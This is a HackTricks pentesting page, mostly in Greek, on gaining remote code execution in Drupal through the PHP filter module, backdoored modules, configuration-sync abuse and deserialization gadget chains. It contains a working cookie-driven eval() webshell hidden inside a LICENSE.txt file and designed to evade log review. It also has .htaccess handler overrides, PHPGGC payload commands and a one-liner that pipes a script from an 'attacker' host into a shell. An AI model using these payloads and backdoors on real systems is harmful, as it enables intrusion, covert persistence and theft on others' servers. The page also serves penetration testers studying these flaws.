Drupal RCE
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Με το PHP Filter Module
Warning
Σε παλαιότερες εκδόσεις του Drupal (before version 8), ήταν δυνατό να συνδεθείτε ως admin και να ενεργοποιήσετε το
PHP filtermodule, το οποίο “Allows embedded PHP code/snippets to be evaluated.” Ωστόσο, από την έκδοση 8 αυτό το module δεν εγκαθίσταται από προεπιλογή.
- Μεταβείτε στο /modules/php και αν επιστραφεί σφάλμα 403 τότε το PHP filter plugin είναι εγκατεστημένο και μπορείτε να συνεχίσετε
- Αν όχι, πηγαίνετε στο
Modulesκαι τσεκάρετε το κουτάκι τουPHP Filterκαι μετά πατήστεSave configuration - Στη συνέχεια, για να το εκμεταλλευτείτε, κάντε κλικ στο
Add content, μετά επιλέξτεBasic PageήArticleκαι γράψτε το PHP backdoor, έπειτα επιλέξτεPHPcode στη μορφή Text και τέλος επιλέξτεPreview - Για να το ενεργοποιήσετε, απλώς επισκεφθείτε τον νεοδημιουργημένο node:
curl http://drupal.local/node/3
Install PHP Filter Module
Warning
Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατό να εγκαταστήσετε plugins έχοντας μόνο πρόσβαση μέσω web μετά την προεπιλεγμένη εγκατάσταση.
From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.
- Κατεβάστε την πιο πρόσφατη έκδοση του module από την ιστοσελίδα του Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Μετά το κατέβασμα μεταβείτε σε
Administration>Reports>Available updates. - Κάντε κλικ στο
Browse, επιλέξτε το αρχείο από τον φάκελο που το κατεβάσαμε και στη συνέχεια πατήστεInstall. - Μόλις το module εγκατασταθεί, μπορούμε να κάνουμε κλικ στο
Contentκαι να δημιουργήσουμε μια νέα basic page, παρόμοια με το παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι επιλέξατεPHP codeαπό το αναδυόμενο μενούText format.
Backdoored Module
Warning
Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατό να εγκαταστήσετε plugins έχοντας μόνο πρόσβαση μέσω web μετά την προεπιλεγμένη εγκατάσταση.
It was possible to download a module, add a backdoor to it and install it. For example, downloading Trurnstile module in compressed format, creating a new PHP backdoor file inside of it, allowing the accessing of the PHP file with a .htaccess file:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Και στη συνέχεια πηγαίνοντας στο http://drupal.local/admin/modules/install για να εγκαταστήσετε το backdoored module και να έχετε πρόσβαση στο /modules/turnstile/back.php για να το εκτελέσετε.
Backdooring Drupal with Configuration synchronization
Αναρτήθηκε από Coiffeur0x90
Μέρος 1 (ενεργοποίηση των Media και Media Library)
Στο μενού Extend (/admin/modules), μπορείτε να ενεργοποιήσετε ό,τι φαίνεται να είναι plugins που έχουν ήδη εγκατασταθεί. Από προεπιλογή, τα plugins Media και Media Library δεν φαίνεται να είναι ενεργοποιημένα, οπότε ας τα ενεργοποιήσουμε.
Πριν την ενεργοποίηση:
 (1) (1) (1) (1).png)
Μετά την ενεργοποίηση:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Μέρος 2 (αξιοποιώντας τη λειτουργία Configuration synchronization)
Θα αξιοποιήσουμε τη λειτουργία Configuration synchronization για να κάνουμε dump (export) και upload (import) των ρυθμίσεων του Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Τροποποίηση του system.file.yml
Ας ξεκινήσουμε τροποποιώντας την πρώτη καταχώρηση allow_insecure_uploads από:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
Προς:
Αρχείο: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Εφαρμόστε patch στο field.field.media.document.field_media_document.yml
Στη συνέχεια, τροποποιήστε τη δεύτερη καταχώριση file_extensions από:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
Προς:
Αρχείο: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Δεν το χρησιμοποιώ σε αυτό το άρθρο αλλά σημειώνεται ότι είναι δυνατό να οριστεί η εγγραφή
file_directoryμε αυθαίρετο τρόπο και ότι είναι ευάλωτη σε path traversal attack (οπότε μπορούμε να ανεβούμε προς τα πάνω μέσα στο δέντρο του συστήματος αρχείων του Drupal).
 (1) (1) (1).png)
Μέρος 3 (αξιοποίηση της λειτουργίας Add Document)
Το τελευταίο βήμα είναι το απλούστερο, και χωρίζεται σε δύο υπο-βήματα. Το πρώτο είναι να ανεβάσουμε ένα αρχείο σε μορφή .htaccess για να αξιοποιήσουμε τις Apache οδηγίες και να επιτρέψουμε στα .txt αρχεία να ερμηνεύονται από το PHP engine. Το δεύτερο είναι να ανεβάσουμε ένα .txt αρχείο που περιέχει το payload μας.
Αρχείο: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Γιατί αυτό το κόλπο είναι εντυπωσιακό;
Επειδή μόλις το Webshell (that we’ll call LICENSE.txt ) ανεβεί στον Web server, μπορούμε να μεταδώσουμε τις εντολές μας μέσω $_COOKIE και στα Web server logs αυτό θα εμφανιστεί ως ένα νόμιμο GET αίτημα προς ένα αρχείο κειμένου.
Γιατί να ονομάσουμε το Webshell LICENSE.txt?
Απλά επειδή αν πάρουμε το παρακάτω αρχείο, για παράδειγμα core/LICENSE.txt (που ήδη υπάρχει στο Drupal core), έχουμε ένα αρχείο 339 γραμμών και μεγέθους 17.6 KB, το οποίο είναι ιδανικό για να προσθέσουμε ένα μικρό snippet PHP κώδικα στη μέση (εφόσον το αρχείο είναι αρκετά μεγάλο).
 (1) (1) (1).png)
Αρχείο: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Μέρος 3.1 (ανέβασμα αρχείου .htaccess)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Μέρος 3.2 (ανέβασμα αρχείου LICENSE.txt)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Μέρος 4 (αλληλεπίδραση με το Webshell)
The last part consists of interacting with the Webshell.
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
 (1).png)
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
 (1).png)
And as you can see in the logs, it looks like only a txt file has been requested.
 (1).png)
Thank you for taking the time to read this article, I hope it will help you get some shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Deliver the serialized blob στο sink (π.χ. parameter που gets deserialized). Για ένα form-encoded body:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction (συχνά αυτόματο στο τέλος του αιτήματος) και εκτέλεσε την εντολή.
Σημειώσεις για δοκιμές:
- Το gadget λειτουργεί μόνο σε εκδόσεις προηγούμενες από 10.2.11 / 10.3.9 / 7.102 (επιδιορθωμένο). Επαλήθευσε την έκδοση του στόχου μέσω
/core/lib/Drupal.phpήCHANGELOG.txt. - Οι third‑party DB drivers μπορεί να χρειάζονται επιπλέον σκληραγώγηση· ψάξτε για deployments που παράλειψαν το παράθυρο ενημερώσεων ασφαλείας.
Πρόσφατο contrib-module unsafe deserialization → RCE
Πολλά contrib modules διόρθωσαν μη ασφαλή μονοπάτια unserialize() στα τέλη του 2024. Αν ο ιστότοπος δεν έχει αυτές τις ενημερώσεις, προσφέρουν το exploitable sink που απαιτεί η core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): δεδομένα ελεγχόμενα από admin που περνούν στο
unserialize(), επιτρέποντας PHP Object Injection → RCE όταν συνδυάζεται με τα core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): παρόμοια μη ασφαλής χρήση του
unserialize()προσβάσιμη από χρήστες μεaccess administration pages.
Ιδέα δοκιμής (authenticated):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
Αν το module deserializes τα uploaded data, το gadget chain οδηγεί σε RCE. Συνδύασέ το με XSS/CSRF για να κλέψεις admin cookies και να ολοκληρώσεις την attack chain.
Αναφορές
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


